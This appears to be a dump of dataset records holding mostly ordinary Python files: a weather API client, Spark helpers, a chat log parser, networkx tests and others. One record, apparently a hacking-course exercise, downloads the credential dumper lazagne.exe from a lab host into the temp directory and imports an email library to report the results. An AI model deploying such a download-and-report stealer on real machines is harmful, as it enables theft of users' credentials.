hexsha
stringlengths
40
40
size
int64
7
1.04M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
247
max_stars_repo_name
stringlengths
4
125
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
368k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
247
max_issues_repo_name
stringlengths
4
125
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
247
max_forks_repo_name
stringlengths
4
125
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
1
1.04M
avg_line_length
float64
1.77
618k
max_line_length
int64
1
1.02M
alphanum_fraction
float64
0
1
original_content
stringlengths
7
1.04M
filtered:remove_function_no_docstring
int64
-102
942k
filtered:remove_class_no_docstring
int64
-354
977k
filtered:remove_delete_markers
int64
0
60.1k
b66678ab1523a086ac82bb97729e6d8676e6b8e3
1,001
py
Python
src/reader.py
isspek/veracity-detection
9368309722bead209e49e52c206758e3d173092a
[ "MIT" ]
null
null
null
src/reader.py
isspek/veracity-detection
9368309722bead209e49e52c206758e3d173092a
[ "MIT" ]
null
null
null
src/reader.py
isspek/veracity-detection
9368309722bead209e49e52c206758e3d173092a
[ "MIT" ]
null
null
null
from RumourEval2019Models.CLEARumor.src.dataset import get_conversations_from_archive from src.feature_extractor import FeatureExtractor from itertools import chain from RumourEval2019Models.CLEARumor.src.dataset import load_posts, \ load_sdcq_instances, load_verif_instances if __name__ == '__main__': feature_...
41.708333
85
0.796204
from RumourEval2019Models.CLEARumor.src.dataset import get_conversations_from_archive from src.feature_extractor import FeatureExtractor from itertools import chain from RumourEval2019Models.CLEARumor.src.dataset import load_posts, \ load_sdcq_instances, load_verif_instances if __name__ == '__main__': feature_...
0
0
0
b22920198d05b2e34ab0bb5c06ea08bd4fe3c4ee
9,446
py
Python
src/aemetapi.py
Stephixus/my-weather-indicator
1e1f1984e08ba8d710d1af420c2e68aa9011dcb0
[ "MIT" ]
72
2016-02-12T18:18:50.000Z
2022-02-11T12:37:53.000Z
src/aemetapi.py
Stephixus/my-weather-indicator
1e1f1984e08ba8d710d1af420c2e68aa9011dcb0
[ "MIT" ]
82
2016-03-28T13:26:02.000Z
2022-02-28T13:40:22.000Z
src/aemetapi.py
Stephixus/my-weather-indicator
1e1f1984e08ba8d710d1af420c2e68aa9011dcb0
[ "MIT" ]
21
2016-02-18T05:31:26.000Z
2022-03-03T03:15:31.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # This file is part of my-weather-indicator # # Copyright (c) 2012 Lorenzo Carbonell Cerezo <a.k.a. atareao> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal #...
32.912892
79
0.62545
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # This file is part of my-weather-indicator # # Copyright (c) 2012 Lorenzo Carbonell Cerezo <a.k.a. atareao> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal #...
4,666
0
643
7092921f149f6d69ed286c9f36642f6c96b3fbda
542
py
Python
is_valid/to_pred.py
nandoflorestan/transvalid
4e0adbaad35188312189112cac0c4f187116b4b9
[ "MIT" ]
4
2017-10-11T14:04:35.000Z
2019-03-29T08:38:09.000Z
is_valid/to_pred.py
nandoflorestan/transvalid
4e0adbaad35188312189112cac0c4f187116b4b9
[ "MIT" ]
1
2017-11-27T14:43:19.000Z
2018-01-14T15:05:38.000Z
is_valid/to_pred.py
Daanvdk/is_valid
615c5ae1999095cba398af6ae041a472769857f8
[ "MIT" ]
1
2021-06-05T18:06:49.000Z
2021-06-05T18:06:49.000Z
from .base import Predicate
28.526316
50
0.678967
from .base import Predicate def to_pred(value): if isinstance(value, Predicate): return value elif isinstance(value, dict): from .is_dict_where import is_dict_where return is_dict_where(value) elif isinstance(value, list): from .is_list_where import is_list_where re...
490
0
23
fbe540cb4bbfeaed4e24bd8aa818d59d6a53e672
3,835
py
Python
pyblinx/chunklist.py
skochanski/blinx_rev
f00983ac1d95fd41dd6c6a3679cab4c7021eef73
[ "MIT" ]
5
2018-09-23T22:30:09.000Z
2021-08-07T15:49:03.000Z
pyblinx/chunklist.py
bakerdonkey/blinx_rev
f00983ac1d95fd41dd6c6a3679cab4c7021eef73
[ "MIT" ]
null
null
null
pyblinx/chunklist.py
bakerdonkey/blinx_rev
f00983ac1d95fd41dd6c6a3679cab4c7021eef73
[ "MIT" ]
null
null
null
# DEPRICATED from struct import unpack from node import Node from chunk import Chunk from texlist import Texlist from address import section_addresses from address import rawaddress from address import virtaddress from helpers import verify_file_arg_b from helpers import verify_file_arg_o
30.436508
114
0.545763
# DEPRICATED from struct import unpack from node import Node from chunk import Chunk from texlist import Texlist from address import section_addresses from address import rawaddress from address import virtaddress from helpers import verify_file_arg_b from helpers import verify_file_arg_o class Chunklist ...
2,834
676
24
c78cbf99aefa1c81924814bbdd8f215158cedf92
641
py
Python
helpers/templates.py
mtambos/brainstormcracy
091017b5e545a073eaa32d3d5492a0f1894d287c
[ "MIT" ]
null
null
null
helpers/templates.py
mtambos/brainstormcracy
091017b5e545a073eaa32d3d5492a0f1894d287c
[ "MIT" ]
null
null
null
helpers/templates.py
mtambos/brainstormcracy
091017b5e545a073eaa32d3d5492a0f1894d287c
[ "MIT" ]
null
null
null
import sys sys.path.insert(0, 'mako.zip') sys.path.insert(0, 'cherrypy.zip') import re from cherrypy import tools from mako.template import Template from mako.lookup import TemplateLookup first_cap_re = re.compile('(.)([A-Z][a-z]+)') all_cap_re = re.compile('([a-z0-9])([A-Z])')
24.653846
65
0.714509
import sys sys.path.insert(0, 'mako.zip') sys.path.insert(0, 'cherrypy.zip') import re from cherrypy import tools from mako.template import Template from mako.lookup import TemplateLookup first_cap_re = re.compile('(.)([A-Z][a-z]+)') all_cap_re = re.compile('([a-z0-9])([A-Z])') def convert(name): s1 = first_...
308
0
46
207c48a447ca25769c16d6a5423ecd04b34e8d98
2,878
py
Python
server/app.py
kszu/UniGAN
a0890434b5cdcb7faee022bb4f6dd4577a470774
[ "MIT" ]
1
2020-03-22T16:38:55.000Z
2020-03-22T16:38:55.000Z
server/app.py
kszu/UniGAN
a0890434b5cdcb7faee022bb4f6dd4577a470774
[ "MIT" ]
null
null
null
server/app.py
kszu/UniGAN
a0890434b5cdcb7faee022bb4f6dd4577a470774
[ "MIT" ]
null
null
null
from flask import Flask, jsonify, request, render_template, flash, redirect, url_for from flask_cors import CORS import pandas as pd import pickle import numpy as np from PIL import Image import os from werkzeug.utils import secure_filename from skimage import io, transform # import matplotlib.pyplot as plt # configu...
28.215686
89
0.665393
from flask import Flask, jsonify, request, render_template, flash, redirect, url_for from flask_cors import CORS import pandas as pd import pickle import numpy as np from PIL import Image import os from werkzeug.utils import secure_filename from skimage import io, transform # import matplotlib.pyplot as plt # configu...
0
0
0
e0b6f48850ff0d62c37e3a882955812cf33f4937
1,275
py
Python
setup.py
phoeagon/monkeypatching-python
915c88aa218b2e4c799628284b7e128c7242cbd1
[ "Apache-2.0" ]
null
null
null
setup.py
phoeagon/monkeypatching-python
915c88aa218b2e4c799628284b7e128c7242cbd1
[ "Apache-2.0" ]
null
null
null
setup.py
phoeagon/monkeypatching-python
915c88aa218b2e4c799628284b7e128c7242cbd1
[ "Apache-2.0" ]
null
null
null
from setuptools import setup import sys extra = {} if sys.version_info >= (3,): extra['use_2to3'] = True setup( name="mr-monkeypatch", version="0.0.3", license='http://www.apache.org/licenses/LICENSE-2.0', description="A monkey patching library for python", author='phoeagon', author_email=...
34.459459
80
0.64
from setuptools import setup import sys extra = {} if sys.version_info >= (3,): extra['use_2to3'] = True setup( name="mr-monkeypatch", version="0.0.3", license='http://www.apache.org/licenses/LICENSE-2.0', description="A monkey patching library for python", author='phoeagon', author_email=...
0
0
0
84d140f01769910cc7b3f56f1053df86f38c7559
4,362
py
Python
revalidation/views.py
PeterStuck/teacher-app
e71c5b69019450a9ac8694fb461d343ce33e1b35
[ "CC0-1.0" ]
null
null
null
revalidation/views.py
PeterStuck/teacher-app
e71c5b69019450a9ac8694fb461d343ce33e1b35
[ "CC0-1.0" ]
null
null
null
revalidation/views.py
PeterStuck/teacher-app
e71c5b69019450a9ac8694fb461d343ce33e1b35
[ "CC0-1.0" ]
null
null
null
from datetime import datetime from django.contrib.auth.decorators import login_required from django.contrib.auth.mixins import LoginRequiredMixin from django.shortcuts import render, HttpResponseRedirect, reverse, redirect from django.views.decorators.http import require_POST from django.views.generic.edit import Form...
38.60177
142
0.73911
from datetime import datetime from django.contrib.auth.decorators import login_required from django.contrib.auth.mixins import LoginRequiredMixin from django.shortcuts import render, HttpResponseRedirect, reverse, redirect from django.views.decorators.http import require_POST from django.views.generic.edit import Form...
1,937
145
174
0d9b258d67dca7e4482728d17c1f10de787748ed
3,380
py
Python
networking_odl/tests/unit/ml2/test_legacy_port_binding.py
pshchelo/networking-odl
a413efcbf389f2e9c71538365cad522ada219806
[ "Apache-2.0" ]
72
2015-06-23T08:06:17.000Z
2021-11-22T15:39:05.000Z
networking_odl/tests/unit/ml2/test_legacy_port_binding.py
pshchelo/networking-odl
a413efcbf389f2e9c71538365cad522ada219806
[ "Apache-2.0" ]
2
2016-04-02T02:19:46.000Z
2016-06-14T13:25:36.000Z
networking_odl/tests/unit/ml2/test_legacy_port_binding.py
pshchelo/networking-odl
a413efcbf389f2e9c71538365cad522ada219806
[ "Apache-2.0" ]
64
2015-06-26T19:05:30.000Z
2021-06-20T06:30:36.000Z
# Copyright (c) 2016 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
37.555556
78
0.696746
# Copyright (c) 2016 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
1,135
1,268
23
34a1d5b0d35c7551c3640faf9df395c6103786c4
2,470
py
Python
scripts/slave/recipe_modules/tar/resources/untar.py
bopopescu/chromium-build
f8e42c70146c1b668421ee6358dc550a955770a3
[ "BSD-3-Clause" ]
null
null
null
scripts/slave/recipe_modules/tar/resources/untar.py
bopopescu/chromium-build
f8e42c70146c1b668421ee6358dc550a955770a3
[ "BSD-3-Clause" ]
null
null
null
scripts/slave/recipe_modules/tar/resources/untar.py
bopopescu/chromium-build
f8e42c70146c1b668421ee6358dc550a955770a3
[ "BSD-3-Clause" ]
1
2020-07-22T09:16:32.000Z
2020-07-22T09:16:32.000Z
# Copyright 2017 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Standalone Python script to untar an archive. Intended to be used by 'tar' recipe module internally. Should not be used elsewhere. """ import json import...
26.276596
77
0.688664
# Copyright 2017 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Standalone Python script to untar an archive. Intended to be used by 'tar' recipe module internally. Should not be used elsewhere. """ import json import...
1,015
0
23
f83b38bfcbdfbc9a0a842505a6588e0897d26e80
5,879
py
Python
part11/SpaceSciencePython_part11.py
ajpmaclean/SpaceScienceTutorial
ceddc5b3c3aa035ddc6c12b987a95c06b02ffe41
[ "MIT" ]
167
2020-04-21T21:04:14.000Z
2022-03-29T15:07:52.000Z
part11/SpaceSciencePython_part11.py
ajpmaclean/SpaceScienceTutorial
ceddc5b3c3aa035ddc6c12b987a95c06b02ffe41
[ "MIT" ]
11
2020-05-19T18:49:24.000Z
2021-06-08T01:51:29.000Z
part11/SpaceSciencePython_part11.py
ajpmaclean/SpaceScienceTutorial
ceddc5b3c3aa035ddc6c12b987a95c06b02ffe41
[ "MIT" ]
41
2020-05-03T06:13:17.000Z
2022-02-12T17:32:51.000Z
# Import the standard modules import sqlite3 # Import installed modules from matplotlib import pyplot as plt import pandas as pd import numpy as np #%% # Connect to the comet database. This database has been created in tutorial # part 7, however, due to its small size the database is uploaded on GitHub con = sqlite3...
30.304124
79
0.722572
# Import the standard modules import sqlite3 # Import installed modules from matplotlib import pyplot as plt import pandas as pd import numpy as np #%% # Connect to the comet database. This database has been created in tutorial # part 7, however, due to its small size the database is uploaded on GitHub con = sqlite3...
0
0
0
60de2684d578223fb47375cc23f8f43fc40e5595
2,863
py
Python
python/setup.py
Panlichen/oneflow
ad93c69c9932e5515aa31fb7f157073708810a3d
[ "Apache-2.0" ]
null
null
null
python/setup.py
Panlichen/oneflow
ad93c69c9932e5515aa31fb7f157073708810a3d
[ "Apache-2.0" ]
null
null
null
python/setup.py
Panlichen/oneflow
ad93c69c9932e5515aa31fb7f157073708810a3d
[ "Apache-2.0" ]
1
2021-12-15T02:14:49.000Z
2021-12-15T02:14:49.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
28.068627
81
0.729305
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
624
27
170
30ccb68c17b3f80ca0389007a6f9c4fc7e098791
4,972
py
Python
chat_unifier/parsers/pidgin/parser.py
mtlynch/chat_unifier
7449ca4f2dd48d8b76fc29e150643076dd0b3334
[ "MIT" ]
2
2018-10-16T18:39:06.000Z
2019-01-22T01:38:09.000Z
chat_unifier/parsers/pidgin/parser.py
mtlynch/chat_unifier
7449ca4f2dd48d8b76fc29e150643076dd0b3334
[ "MIT" ]
2
2018-10-19T00:00:21.000Z
2018-10-19T17:15:25.000Z
chat_unifier/parsers/pidgin/parser.py
mtlynch/chat_unifier
7449ca4f2dd48d8b76fc29e150643076dd0b3334
[ "MIT" ]
null
null
null
from __future__ import absolute_import import datetime import re from chat_unifier import models from chat_unifier.parsers.pidgin import html_reader _TITLE_PATTERN = re.compile( r'^Conversation with (?P<remote_username>.+) at (?P<start_date>\d{1,2}/\d{1,2}/\d{4}) (?P<start_time>\d{1,2}:\d{1,2}:\d{1,2}) (?P<am_pm...
33.369128
193
0.658286
from __future__ import absolute_import import datetime import re from chat_unifier import models from chat_unifier.parsers.pidgin import html_reader _TITLE_PATTERN = re.compile( r'^Conversation with (?P<remote_username>.+) at (?P<start_date>\d{1,2}/\d{1,2}/\d{4}) (?P<start_time>\d{1,2}:\d{1,2}:\d{1,2}) (?P<am_pm...
3,987
98
500
2a5841bf2943b0b88efa5632249bfdac85c95225
3,176
py
Python
_setuplibev.py
hackaugusto/gevent
ab5272c5b6fade84ea001f579748898a6d56d5ba
[ "MIT" ]
null
null
null
_setuplibev.py
hackaugusto/gevent
ab5272c5b6fade84ea001f579748898a6d56d5ba
[ "MIT" ]
null
null
null
_setuplibev.py
hackaugusto/gevent
ab5272c5b6fade84ea001f579748898a6d56d5ba
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ setup helpers for libev. """ from __future__ import print_function, absolute_import, division import sys import os.path from _setuputils import Extension from _setuputils import system from _setuputils import quoted_dep_abspath from _setuputils import WIN from _setuputils import make_uni...
33.431579
100
0.607053
# -*- coding: utf-8 -*- """ setup helpers for libev. """ from __future__ import print_function, absolute_import, division import sys import os.path from _setuputils import Extension from _setuputils import system from _setuputils import quoted_dep_abspath from _setuputils import WIN from _setuputils import make_uni...
534
0
23
41379623066aea0edd7f4d8d206ae17af94906b0
7,365
py
Python
src/python_pybind11/test/Pose3_TEST.py
srmainwaring/ign-math
ff55578b52b9c42daaea666c3c1205551b07afbb
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
src/python_pybind11/test/Pose3_TEST.py
srmainwaring/ign-math
ff55578b52b9c42daaea666c3c1205551b07afbb
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
src/python_pybind11/test/Pose3_TEST.py
srmainwaring/ign-math
ff55578b52b9c42daaea666c3c1205551b07afbb
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# Copyright (C) 2021 Open Source Robotics Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
40.245902
78
0.567821
# Copyright (C) 2021 Open Source Robotics Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
6,354
14
211
a9ed458bb2b4697049e813d131ec7a8edae28744
1,631
py
Python
test/end_2_end/test_tracker_payload.py
danieldemedziuk/tracardi-api
27a82a11f8a2ed11156979f8c8c4cfd700fd3dc4
[ "MIT" ]
null
null
null
test/end_2_end/test_tracker_payload.py
danieldemedziuk/tracardi-api
27a82a11f8a2ed11156979f8c8c4cfd700fd3dc4
[ "MIT" ]
null
null
null
test/end_2_end/test_tracker_payload.py
danieldemedziuk/tracardi-api
27a82a11f8a2ed11156979f8c8c4cfd700fd3dc4
[ "MIT" ]
null
null
null
from uuid import uuid4 from ..api.test_event_source import create_event_source from ..utils import Endpoint endpoint = Endpoint()
31.365385
97
0.581239
from uuid import uuid4 from ..api.test_event_source import create_event_source from ..utils import Endpoint endpoint = Endpoint() def test_track_payload(): source_id = str(uuid4()) session_id = str(uuid4()) try: response = create_event_source(source_id, "javascript") assert response.sta...
1,476
0
23
79df20d9b0f99b4f4a0bc2f3d8e3c7a932ee0633
5,320
py
Python
customer_template.py
john850512/line_costumed_reply
00997bab9f15e04a884b34f00d65e3eea2e5669b
[ "MIT" ]
4
2019-04-12T07:38:37.000Z
2019-11-08T18:20:34.000Z
customer_template.py
john850512/line_costumed_reply
00997bab9f15e04a884b34f00d65e3eea2e5669b
[ "MIT" ]
null
null
null
customer_template.py
john850512/line_costumed_reply
00997bab9f15e04a884b34f00d65e3eea2e5669b
[ "MIT" ]
null
null
null
from linebot.models import *
41.24031
131
0.33609
from linebot.models import * def create_customer_template(): bubble = BubbleContainer( direction='ltr', body=BoxComponent( layout='vertical', contents=[ # title TextComponent(text='信用卡優惠查詢', weight='bold', size='xl'), # info ...
5,459
0
23
c5ab9fc8bef81a027a25fc960a1fd1dd3c97243f
5,780
py
Python
hocontact/hodatasets/hoquery.py
lixiny/CPF
69129a3a2ec76347752241850da5ced09d795b1d
[ "MIT" ]
80
2020-12-01T05:19:21.000Z
2022-03-30T05:22:02.000Z
hocontact/hodatasets/hoquery.py
lixiny/CPF
69129a3a2ec76347752241850da5ced09d795b1d
[ "MIT" ]
7
2020-12-04T11:22:26.000Z
2022-01-06T08:29:15.000Z
hocontact/hodatasets/hoquery.py
lixiny/CPF
69129a3a2ec76347752241850da5ced09d795b1d
[ "MIT" ]
10
2021-01-18T13:20:52.000Z
2022-03-31T07:19:04.000Z
from enum import Enum, auto # NOTE: This queries are meant to supervise the PICR netwrok during training. # NOTE: We currently remove all the training codes from the released CPF. # NOTE: Thus ContactQueries and all the methods that are related to it, are not avaliable.
41.582734
107
0.713841
from enum import Enum, auto class BaseQueries(Enum): CAM_INTR = auto() # camera intrinsic for raw image OBJ_FACES = auto() OBJ_CORNERS_2D = auto() OBJ_CORNERS_3D = auto() OBJ_VERTS_3D = auto() # object verts after extr transform (raw) OBJ_VERTS_2D = auto() # object verts on raw image (raw) ...
2,241
3,076
183
ab4df0b3498942e3d7855d51004b3f30f824e809
676
py
Python
test/test_tensor.py
mpariente/pytorch_sparse
ed3de958bda1a8e8300374d2ed2d3b79eb7a0b25
[ "MIT" ]
1
2021-04-28T06:33:56.000Z
2021-04-28T06:33:56.000Z
test/test_tensor.py
taylorpatti/pytorch_sparse
1e77ac62ff6b5ee422c54767b61a1702c2df5545
[ "MIT" ]
null
null
null
test/test_tensor.py
taylorpatti/pytorch_sparse
1e77ac62ff6b5ee422c54767b61a1702c2df5545
[ "MIT" ]
null
null
null
from itertools import product import pytest import torch from torch_sparse import SparseTensor from .utils import grad_dtypes, devices @pytest.mark.parametrize('dtype,device', product(grad_dtypes, devices))
30.727273
72
0.674556
from itertools import product import pytest import torch from torch_sparse import SparseTensor from .utils import grad_dtypes, devices @pytest.mark.parametrize('dtype,device', product(grad_dtypes, devices)) def test_getitem(dtype, device): mat = torch.randn(50, 40, dtype=dtype, device=device) mat = SparseTe...
443
0
22
b6168dc5db0f2abf600fece43f2406ab52e201de
10,825
py
Python
Player.py
emanchez/PROJECT_GEIMU
37bb11076eee46ede98c6ecc9471ba70966eaea6
[ "MIT" ]
null
null
null
Player.py
emanchez/PROJECT_GEIMU
37bb11076eee46ede98c6ecc9471ba70966eaea6
[ "MIT" ]
null
null
null
Player.py
emanchez/PROJECT_GEIMU
37bb11076eee46ede98c6ecc9471ba70966eaea6
[ "MIT" ]
null
null
null
import pygame from pygame.locals import * from enum import Enum X = 0 Y = 1 groundPos = 450 # global temporary variable (useless once collision is implemented) ; might use this for a global death barrier (below screen)
50.348837
183
0.615797
import pygame from pygame.locals import * from enum import Enum X = 0 Y = 1 groundPos = 450 # global temporary variable (useless once collision is implemented) ; might use this for a global death barrier (below screen) def cap(maxVal, eq): # caps a value to prevent an equation from breaking said cap ; global ...
7,844
2,705
49
940d84f2bfb8cde64073c8aa2084ee174a573754
872
py
Python
lowpass.py
KasparSnashall/FIRfilter
88455e5758ff16c3d859604745b66fc42c7c00e2
[ "MIT" ]
null
null
null
lowpass.py
KasparSnashall/FIRfilter
88455e5758ff16c3d859604745b66fc42c7c00e2
[ "MIT" ]
null
null
null
lowpass.py
KasparSnashall/FIRfilter
88455e5758ff16c3d859604745b66fc42c7c00e2
[ "MIT" ]
null
null
null
from pylab import * import scipy.signal as signal numtaps = 201 # number of coeffs #cut off is the normalised cut off in terms of nqy # window is the function # options = boxcar, triang, blackman, hamming, hann, bartlett, flattop, parzen, bohman, blackmanharris, nuttall, barthann, kaiser (needs beta), gaussian (nee...
27.25
333
0.699541
from pylab import * import scipy.signal as signal numtaps = 201 # number of coeffs #cut off is the normalised cut off in terms of nqy # window is the function # options = boxcar, triang, blackman, hamming, hann, bartlett, flattop, parzen, bohman, blackmanharris, nuttall, barthann, kaiser (needs beta), gaussian (nee...
232
0
23
91aaf8ec1bda842d17907fd690e22fa6d2b263d5
1,329
py
Python
src/2-add-two-numbers.py
sahilrider/LeetCode-Solutions
9cac844c27b5dbf37a70c2981a09cd92457f7ff1
[ "MIT" ]
2
2020-03-06T11:44:25.000Z
2020-03-13T20:07:48.000Z
src/2-add-two-numbers.py
sahilrider/LeetCode-Solutions
9cac844c27b5dbf37a70c2981a09cd92457f7ff1
[ "MIT" ]
null
null
null
src/2-add-two-numbers.py
sahilrider/LeetCode-Solutions
9cac844c27b5dbf37a70c2981a09cd92457f7ff1
[ "MIT" ]
null
null
null
'''https://leetcode.com/problems/add-two-numbers/''' # Definition for singly-linked list.
26.058824
68
0.401053
'''https://leetcode.com/problems/add-two-numbers/''' # Definition for singly-linked list. class ListNode: def __init__(self, x): self.val = x self.next = None class Solution: def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode: res = ListNode(0) temp = res c...
1,145
-12
97
86bfb4af894452b2fb1cbdd5a02e48a2f9ece89c
6,560
py
Python
networkx/algorithms/bipartite/tests/test_edgelist.py
FrancescoBonacina/networkx
a73a610e0bbd6e13b183b15ca47b221df5f8e26a
[ "BSD-3-Clause" ]
10
2020-04-29T10:38:03.000Z
2022-03-16T03:30:28.000Z
networkx/algorithms/bipartite/tests/test_edgelist.py
FrancescoBonacina/networkx
a73a610e0bbd6e13b183b15ca47b221df5f8e26a
[ "BSD-3-Clause" ]
2
2019-11-13T03:48:53.000Z
2021-02-15T16:52:09.000Z
networkx/algorithms/bipartite/tests/test_edgelist.py
FrancescoBonacina/networkx
a73a610e0bbd6e13b183b15ca47b221df5f8e26a
[ "BSD-3-Clause" ]
2
2020-02-13T10:33:34.000Z
2020-08-09T07:59:26.000Z
""" Unit tests for bipartite edgelists. """ import pytest import io import tempfile import os import networkx as nx from networkx.testing import (assert_edges_equal, assert_nodes_equal, assert_graphs_equal) from networkx.algorithms import bipartite
33.989637
87
0.575915
""" Unit tests for bipartite edgelists. """ import pytest import io import tempfile import os import networkx as nx from networkx.testing import (assert_edges_equal, assert_nodes_equal, assert_graphs_equal) from networkx.algorithms import bipartite class TestEdgelist: @classmet...
5,832
420
23
0c99261c8332d89e97725cced4a3a0c250559763
3,359
py
Python
spark_helpers/spark_helpers.py
elehcimd/spark_cluster
c1aec034bcb0e5ac7b3d7782548148b845f47e03
[ "MIT" ]
4
2019-03-17T08:21:13.000Z
2020-07-23T21:19:19.000Z
spark_helpers/spark_helpers.py
minodes/spark_cluster
c1aec034bcb0e5ac7b3d7782548148b845f47e03
[ "MIT" ]
null
null
null
spark_helpers/spark_helpers.py
minodes/spark_cluster
c1aec034bcb0e5ac7b3d7782548148b845f47e03
[ "MIT" ]
null
null
null
# Imports import os import shutil import tempfile from IPython.display import display from copy import copy from pyspark import SparkContext from pyspark.sql import SQLContext from pyspark.sql.functions import * from pyspark.sql.types import * from .spark_config import app_name, path_pkg from .spark_config import spa...
26.65873
105
0.685621
# Imports import os import shutil import tempfile from IPython.display import display from copy import copy from pyspark import SparkContext from pyspark.sql import SQLContext from pyspark.sql.functions import * from pyspark.sql.types import * from .spark_config import app_name, path_pkg from .spark_config import spa...
0
0
0
acafb9fe720b609b5d26261192031f5995ed5351
17,230
py
Python
pysv/utils.py
iwob/pysv
6fdfb93d66cce84cceacabd3806f3f51f0cbbe17
[ "MIT" ]
2
2017-06-21T04:00:11.000Z
2018-06-11T17:28:55.000Z
pysv/utils.py
iwob/pysv
6fdfb93d66cce84cceacabd3806f3f51f0cbbe17
[ "MIT" ]
null
null
null
pysv/utils.py
iwob/pysv
6fdfb93d66cce84cceacabd3806f3f51f0cbbe17
[ "MIT" ]
1
2018-06-11T17:28:56.000Z
2018-06-11T17:28:56.000Z
import logging import sys import argparse logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) def index_of_closing_parenthesis(words, start, left_enc ='(', right_enc =')'): """Returns index of the closing parenthesis of the parenthesis indicated by start.""" num_opened = 1 for i ...
52.530488
453
0.628381
import logging import sys import argparse logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) def index_of_closing_parenthesis(words, start, left_enc ='(', right_enc =')'): """Returns index of the closing parenthesis of the parenthesis indicated by start.""" num_opened = 1 for i ...
11,873
0
297
512a95f131970b82ef2f5920f270971d63c91d1b
2,093
py
Python
great_international/migrations/0055_auto_20190724_1306.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
6
2018-03-20T11:19:07.000Z
2021-10-05T07:53:11.000Z
great_international/migrations/0055_auto_20190724_1306.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
802
2018-02-05T14:16:13.000Z
2022-02-10T10:59:21.000Z
great_international/migrations/0055_auto_20190724_1306.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
6
2019-01-22T13:19:37.000Z
2019-07-01T10:35:26.000Z
# Generated by Django 2.2.2 on 2019-07-24 13:06 from django.db import migrations, models
35.474576
74
0.614907
# Generated by Django 2.2.2 on 2019-07-24 13:06 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('great_international', '0054_auto_20190724_1205'), ] operations = [ migrations.AddField( model_name='capitalinvestregionpage', ...
0
1,979
23
7e6b8e70abf90208a8874be8fcf572705bd880ee
914
py
Python
12-download_execute_and_report/download_execute_and_report.py
robjpar/ehp
ebd58ab081e2397a7e8c5ef87430cec9b401626e
[ "MIT" ]
null
null
null
12-download_execute_and_report/download_execute_and_report.py
robjpar/ehp
ebd58ab081e2397a7e8c5ef87430cec9b401626e
[ "MIT" ]
null
null
null
12-download_execute_and_report/download_execute_and_report.py
robjpar/ehp
ebd58ab081e2397a7e8c5ef87430cec9b401626e
[ "MIT" ]
null
null
null
# cp download_execute_and_report.py /var/www/html/evil-files # service apache2 start # http://10.0.2.13/evil-files/ import requests import subprocess import smtplib import re import os import tempfile temp_directory = tempfile.gettempdir() os.chdir(temp_directory) download('http://10.0.2.13/evil-files/lazagne.exe'...
26.882353
76
0.729759
# cp download_execute_and_report.py /var/www/html/evil-files # service apache2 start # http://10.0.2.13/evil-files/ import requests import subprocess import smtplib import re import os import tempfile def download(url): response = requests.get(url) file_name = url.split('/')[-1] with open(file_name, 'wb'...
380
0
46
7a1c6a5076b38cd550a867843e37f4405a2e9887
3,695
py
Python
tests/test_shapes.py
cjer/gtfstk
7e1573a2fae786f4683cefc3c9d1f0310baa5367
[ "MIT" ]
null
null
null
tests/test_shapes.py
cjer/gtfstk
7e1573a2fae786f4683cefc3c9d1f0310baa5367
[ "MIT" ]
null
null
null
tests/test_shapes.py
cjer/gtfstk
7e1573a2fae786f4683cefc3c9d1f0310baa5367
[ "MIT" ]
null
null
null
